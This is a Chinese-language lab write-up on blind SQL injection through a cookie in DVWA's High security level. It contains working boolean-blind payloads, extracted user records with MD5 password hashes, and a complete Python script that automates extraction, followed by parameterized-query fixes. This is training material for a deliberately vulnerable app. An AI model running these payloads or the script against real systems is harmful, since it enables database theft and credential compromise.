文章目录
-
- 一、测试概述
- 二、High级别安全机制分析
-
- [2.1 后端源码](#2.1 后端源码)
- [2.2 与Medium级别的差异](#2.2 与Medium级别的差异)
- [2.3 安全机制缺陷](#2.3 安全机制缺陷)
- 三、漏洞验证
-
- [3.1 基础测试](#3.1 基础测试)
- [3.2 数据库信息测试](#3.2 数据库信息测试)
- [3.3 表信息测试](#3.3 表信息测试)
- [3.4 列信息测试](#3.4 列信息测试)
- [3.5 数据提取测试](#3.5 数据提取测试)
- 四、漏洞利用过程
-
- [4.1 获取数据库名](#4.1 获取数据库名)
- [4.2 获取表信息](#4.2 获取表信息)
- [4.3 获取列信息](#4.3 获取列信息)
- [4.4 获取记录数](#4.4 获取记录数)
- [4.5 提取用户数据](#4.5 提取用户数据)
- 五、自动化利用脚本
-
- [5.1 脚本说明](#5.1 脚本说明)
- [5.2 核心函数](#5.2 核心函数)
- [5.3 使用方法](#5.3 使用方法)
- [六、Low vs Medium vs High 对比](#六、Low vs Medium vs High 对比)
-
- [6.1 注入方式对比](#6.1 注入方式对比)
- [6.2 绕过技巧](#6.2 绕过技巧)
- 七、漏洞危害
-
- [7.1 影响范围](#7.1 影响范围)
- [7.2 攻击链](#7.2 攻击链)
- [7.3 High级别防御分析](#7.3 High级别防御分析)
- 八、修复建议
-
- [8.1 当前漏洞代码](#8.1 当前漏洞代码)
- [8.2 修复方案](#8.2 修复方案)
- [8.3 安全最佳实践](#8.3 安全最佳实践)
一、测试概述
二、High级别安全机制分析
2.1 后端源码
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
} catch (Exception $e) {
$result = false;
}
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
}
if ($exists) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
2.2 与Medium级别的差异
| 特性 |
Medium级别 |
High级别 |
| 输入来源 |
POST参数 $_POST['id'] |
Cookie $_COOKIE['id'] |
| 输入过滤 |
mysqli_real_escape_string |
无过滤 |
| SQL查询 |
WHERE user_id = $id(无引号) |
WHERE user_id = '$id'(有引号) |
| 注入类型 |
数字型 |
字符型(需单引号闭合) |
| 随机延迟 |
无 |
有(2-4秒,干扰时间盲注) |
| 错误处理 |
无 |
try/catch抑制错误 |
| 状态码 |
200 |
未找到时返回404 |
| LIMIT限制 |
无 |
LIMIT 1 |
2.3 安全机制缺陷
- 无输入过滤:Cookie值直接拼接到SQL查询,无任何过滤或转义
- 字符型注入:SQL查询使用引号包裹变量,需要单引号闭合
- 随机延迟干扰:仅在未找到用户时随机延迟2-4秒,干扰时间盲注,但不影响布尔盲注
- LIMIT 1限制:查询限制返回1条记录,但不影响盲注利用
- 错误抑制:使用try/catch抑制SQL错误,但不影响布尔盲注
三、漏洞验证
3.1 基础测试
| 测试 |
Payload |
结果 |
状态码 |
结论 |
| 正常查询 |
1 |
exists |
200 |
页面正常 |
| 无效ID |
999 |
MISSING |
404 |
可区分真假 |
| 真条件 |
1' AND '1'='1 |
exists |
200 |
注入成功 |
| 假条件 |
1' AND '1'='2 |
MISSING |
404 |
布尔盲注确认 |
3.2 数据库信息测试
| 测试 |
Payload |
结果 |
结论 |
| 数据库名长度 |
1' AND LENGTH(DATABASE())=4 AND '1'='1 |
exists |
长度=4 |
| DB首字符=d |
1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 AND '1'='1 |
exists |
100='d' |
| DB第二字符=v |
1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118 AND '1'='1 |
exists |
118='v' |
| DB第三字符=w |
1' AND ASCII(SUBSTRING(DATABASE(),3,1))=119 AND '1'='1 |
exists |
119='w' |
| DB第四字符=a |
1' AND ASCII(SUBSTRING(DATABASE(),4,1))=97 AND '1'='1 |
exists |
97='a' |
结果:数据库名 = "dvwa"
3.3 表信息测试
| 测试 |
Payload |
结果 |
结论 |
| 表数量=1 |
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1 AND '1'='1 |
exists |
1个表 |
| 表名首字符=u |
1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117 AND '1'='1 |
exists |
117='u' |
结果:1个表,表名 = "users"
3.4 列信息测试
| 测试 |
Payload |
结果 |
结论 |
| 列数量=8 |
1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8 AND '1'='1 |
exists |
8列 |
3.5 数据提取测试
| 测试 |
Payload |
结果 |
结论 |
| admin首字符=a |
1' AND ASCII(SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1))=97 AND '1'='1 |
exists |
97='a' |
| 密码首字符=2 |
1' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))=50 AND '1'='1 |
exists |
50='2' |
四、漏洞利用过程
4.1 获取数据库名
-- 获取数据库名长度
1' AND LENGTH(DATABASE())=4 AND '1'='1 → exists ✓
-- 逐字符猜解(使用ASCII数值比较)
1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 AND '1'='1 → exists ✓ (100 = 'd')
1' AND ASCII(SUBSTRING(DATABASE(),2,1))=118 AND '1'='1 → exists ✓ (118 = 'v')
1' AND ASCII(SUBSTRING(DATABASE(),3,1))=119 AND '1'='1 → exists ✓ (119 = 'w')
1' AND ASCII(SUBSTRING(DATABASE(),4,1))=97 AND '1'='1 → exists ✓ (97 = 'a')
结果:数据库名 = "dvwa"
4.2 获取表信息
-- 表数量
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1 AND '1'='1 → exists ✓
-- 表名(逐字符ASCII比较)
1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117 AND '1'='1 → exists ✓ (117 = 'u')
结果:1个表,表名 = "users"
4.3 获取列信息
-- 列数量
1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8 AND '1'='1 → exists ✓
-- 列名(8列)
user_id, first_name, last_name, user, password, avatar, last_login, failed_login
4.4 获取记录数
1' AND (SELECT COUNT(*) FROM users)=5 AND '1'='1 → exists ✓
结果:5条记录
4.5 提取用户数据
| user_id |
user |
first_name |
last_name |
password (MD5) |
| 1 |
admin |
admin |
admin |
21232f297a57a5a743894a0e4a801fc3 |
| 2 |
gordonb |
gordon |
brown |
e99a18c428cb38d5f260853678922e03 |
| 3 |
1337 |
hack |
me |
8d3533d75ae2c3966d7e0d4fcc69216b |
| 4 |
pablo |
pablo |
picasso |
0d107d09f5bbe40cade3de5c71e9e9b7 |
| 5 |
smithy |
bob |
smith |
5f4dcc3b5aa765d61d8327deb882cf99 |
五、自动化利用脚本
5.1 脚本说明
dvwa_blind_sqli_exploit_high.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA SQL盲注漏洞利用脚本 - High级别
======================================
目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
级别: High
类型: Boolean-based Blind SQL Injection(字符型)
High级别特点:
1. 输入来自Cookie(id参数)
2. 字符型注入: WHERE user_id = '$id'
3. 随机延迟2-4秒(干扰时间盲注)
4. 未找到用户时返回404状态码
5. 使用try/catch抑制SQL错误信息
"""
import requests
import sys
import json
import time
import io
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
# ==================== 配置 ====================
BASE_URL = "http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"
MAX_WORKERS = 5 # High级别有随机延迟,减少并发数
REQUEST_TIMEOUT = 30
COOKIE = {
"security": "high",
"PHPSESSID": "fsj0kvpbl4gl3c2cb34dmpmpe5"
}
STATS = {"total_requests": 0, "start_time": None}
RESULTS = {
"timestamp": datetime.now().isoformat(),
"target": BASE_URL,
"security_level": "high",
"database_name": "",
"tables": [],
"columns": {},
"data": []
}
session = requests.Session()
session.cookies.update(COOKIE)
def check_payload(payload):
"""
High级别: 通过Cookie注入
Payload示例: 1' AND ASCII(SUBSTRING(DATABASE(),1,1))=100 AND '1'='1
"""
cookies = dict(COOKIE)
cookies["id"] = payload
try:
resp = session.get(BASE_URL, cookies=cookies, timeout=REQUEST_TIMEOUT)
STATS["total_requests"] += 1
return "User ID exists" in resp.text
except Exception as e:
print(f" [!] Error: {e}")
return False
def check_batch(payloads):
"""并发检查多个Payload"""
results = []
def _check(item):
payload, ascii_val = item
return ascii_val if check_payload(payload) else None
with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = {executor.submit(_check, item): item for item in payloads}
for future in as_completed(futures):
r = future.result()
if r is not None:
results.append(r)
return results
def blind_extract(query, max_len=30, ascii_range=None):
"""
盲注提取函数(Cookie注入版)
原理: 通过Cookie传入payload,使用ASCII数值比较
示例: 1' AND ASCII(SUBSTRING(({query}),{pos},1))={val} AND '1'='1
"""
if ascii_range is None:
ascii_range = list(range(97, 123)) # a-z
result = ""
for pos in range(1, max_len + 1):
payloads = [
(f"1' AND ASCII(SUBSTRING(({query}),{pos},1))={v} AND '1'='1", v)
for v in ascii_range
]
matched = check_batch(payloads)
if matched:
result += chr(matched[0])
sys.stdout.write(chr(matched[0]))
sys.stdout.flush()
else:
break
print()
return result
def get_database_name():
"""获取数据库名"""
print("[*] Extracting database name...")
for length in range(1, 20):
if check_payload(f"1' AND LENGTH(DATABASE())={length} AND '1'='1"):
print(f"[+] DB length: {length}")
break
name = blind_extract("DATABASE()", 20, list(range(97, 123)))
print(f"[+] Database: {name}")
RESULTS["database_name"] = name
return name
def get_table_count(db):
"""获取表数量"""
print(f"[*] Getting table count in {db}...")
for i in range(1, 20):
payload = f"1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i} AND '1'='1"
if check_payload(payload):
print(f"[+] Table count: {i}")
return i
return 0
def get_table_name(db, idx):
"""获取表名"""
print(f"[*] Extracting table name[{idx}]...")
q = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {idx},1"
name = blind_extract(q, 30, list(range(97, 123)))
print(f"[+] Table: {name}")
return name
def get_column_count(table):
"""获取列数量"""
print(f"[*] Getting column count for {table}...")
for i in range(1, 30):
payload = f"1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table}')={i} AND '1'='1"
if check_payload(payload):
print(f"[+] Column count: {i}")
return i
return 0
def get_column_name(table, idx):
"""获取列名"""
print(f"[*] Extracting column name[{idx}]...")
q = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {idx},1"
charset = list(range(97, 123)) + [95] # a-z + _
name = blind_extract(q, 30, charset)
print(f"[+] Column: {name}")
return name
def get_row_count(table):
"""获取记录数"""
print(f"[*] Getting row count for {table}...")
for i in range(1, 20):
if check_payload(f"1' AND (SELECT COUNT(*) FROM {table})={i} AND '1'='1"):
print(f"[+] Row count: {i}")
return i
return 0
def get_field(table, col, row):
"""获取字段值"""
print(f"[*] Extracting {col}[row {row}]...")
q = f"SELECT {col} FROM {table} LIMIT {row},1"
charset = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [64, 46, 95, 45, 36]
val = blind_extract(q, 100, charset)
print(f"[+] {col}: {val}")
return val
def save_results():
"""保存结果到JSON"""
with open("dvwa_blind_sqli_high_results.json", "w", encoding='utf-8') as f:
json.dump(RESULTS, f, indent=2, ensure_ascii=False)
print(f"\n[+] Results saved to dvwa_blind_sqli_high_results.json")
def print_stats():
"""打印性能统计"""
elapsed = time.time() - STATS["start_time"]
print("\n" + "=" * 60)
print("性能统计")
print("=" * 60)
print(f"总请求数: {STATS['total_requests']}")
print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
if elapsed > 0:
print(f"请求速度: {STATS['total_requests']/elapsed:.2f} 次/秒")
print("=" * 60)
def main():
"""
执行流程:
1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名
4. 获取列数量 → 5. 获取列名 → 6. 获取记录数
7. 逐行逐列提取数据 → 8. 保存结果
"""
STATS["start_time"] = time.time()
print("=" * 60)
print("DVWA SQL Blind Injection Exploit - Level: High")
print(f"并发线程: {MAX_WORKERS}")
print("=" * 60)
try:
# 1. 数据库名
db = get_database_name()
# 2-3. 表信息
tables = []
for i in range(get_table_count(db)):
tables.append(get_table_name(db, i))
RESULTS["tables"] = tables
print(f"[+] Tables: {', '.join(tables)}")
# 4-5. 列信息
for t in tables:
cols = []
for i in range(get_column_count(t)):
cols.append(get_column_name(t, i))
RESULTS["columns"][t] = cols
print(f"[+] Columns in {t}: {', '.join(cols)}")
# 6-7. 提取数据
if "users" in tables:
rows = get_row_count("users")
print(f"\n[*] Extracting users table ({rows} rows)...")
cols = RESULTS["columns"]["users"]
for r in range(rows):
print(f"\n--- Row {r+1} ---")
row_data = {c: get_field("users", c, r) for c in cols}
RESULTS["data"].append(row_data)
# 8. 保存
save_results()
print_stats()
print("\n[+] Done!")
except KeyboardInterrupt:
print("\n[!] Interrupted")
save_results()
print_stats()
except Exception as e:
print(f"\n[!] Error: {e}")
save_results()
print_stats()
if __name__ == "__main__":
main()
核心注入技术:
# High级别: 通过Cookie注入,字符型盲注
def check_payload(payload):
cookies = dict(COOKIE)
cookies["id"] = payload # 将payload写入Cookie
resp = session.get(BASE_URL, cookies=cookies, timeout=REQUEST_TIMEOUT)
return "User ID exists" in resp.text
# Payload格式: 1' AND ASCII(SUBSTRING(({query}),{pos},1))={val} AND '1'='1
优化策略:
- 并发请求(5线程,因随机延迟减少并发数)
- Session复用TCP连接
- ASCII数值比较避免字符转义问题
- 性能统计(请求数、耗时、速度)
5.2 核心函数
def blind_extract(query, max_len=30, ascii_range=None):
"""
盲注提取函数(Cookie注入版)
原理: 通过Cookie传入payload,使用ASCII数值比较
示例: 1' AND ASCII(SUBSTRING(({query}),{pos},1))={val} AND '1'='1
"""
for pos in range(1, max_len + 1):
payloads = [
(f"1' AND ASCII(SUBSTRING(({query}),{pos},1))={v} AND '1'='1", v)
for v in ascii_range
]
matched = check_batch(payloads) # 并发检查
if matched:
result += chr(matched[0])
5.3 使用方法
python dvwa_blind_sqli_exploit_high.py
结果保存至 dvwa_blind_sqli_high_results.json
六、Low vs Medium vs High 对比
6.1 注入方式对比
| 特性 |
Low级别 |
Medium级别 |
High级别 |
| 注入类型 |
字符型 |
数字型 |
字符型 |
| 输入来源 |
GET参数 |
POST参数 |
Cookie |
| 闭合方式 |
需要单引号 ' |
无需闭合 |
需要单引号 ' |
| Payload示例 |
1' AND '1'='1 |
1 AND 1=1 |
1' AND '1'='1 |
| 字符提取 |
SUBSTRING(...)='a' |
ASCII(SUBSTRING(...))=97 |
ASCII(SUBSTRING(...))=97 |
| 输入过滤 |
无 |
mysqli_real_escape_string |
无 |
| 随机延迟 |
无 |
无 |
有(2-4秒) |
| 错误抑制 |
无 |
无 |
try/catch |
6.2 绕过技巧
| 级别 |
防御措施 |
绕过方法 |
| Low |
无 |
直接注入 |
| Medium |
mysqli_real_escape_string + 数字型 |
使用ASCII()数值比较 |
| High |
Cookie输入 + 随机延迟 + 错误抑制 |
Cookie注入 + 布尔盲注(不受延迟影响) |
七、漏洞危害
7.1 影响范围
| 危害类型 |
程度 |
说明 |
| 数据泄露 |
严重 |
获取全部用户数据(含密码哈希) |
| 数据篡改 |
严重 |
可修改/删除数据库内容 |
| 权限提升 |
严重 |
获取管理员账户 |
7.2 攻击链
Cookie注入 → 字符型盲注 → ASCII数值比较 → 枚举数据库结构 → 提取用户凭证
7.3 High级别防御分析
| 防御措施 |
效果 |
说明 |
| Cookie输入 |
无效 |
Cookie可被客户端修改 |
| 随机延迟 |
无效 |
仅干扰时间盲注,不影响布尔盲注 |
| 错误抑制 |
无效 |
仅抑制错误信息,不影响布尔响应 |
| LIMIT 1 |
无效 |
仅限制返回记录数,不影响盲注 |
八、修复建议
8.1 当前漏洞代码
$id = $_COOKIE[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query );
8.2 修复方案
方案1:参数化查询(推荐)
$id = $_COOKIE[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = ? LIMIT 1;";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, "s", $id); // 's' 表示字符串类型
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
方案2:输入验证 + 类型转换
$id = $_COOKIE[ 'id' ];
// 验证是否为数字
if (!is_numeric($id)) {
die("Invalid input");
}
$id = (int)$id; // 强制转换为整数
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;";
8.3 安全最佳实践
| 措施 |
优先级 |
说明 |
| 参数化查询 |
高 |
使用预处理语句,从根本上防止注入 |
| 输入验证 |
高 |
对所有用户输入进行验证和过滤 |
| 最小权限 |
中 |
数据库账户使用最小必要权限 |
| WAF防护 |
中 |
部署Web应用防火墙 |
| Cookie安全 |
中 |
对Cookie值进行验证,不信任客户端数据 |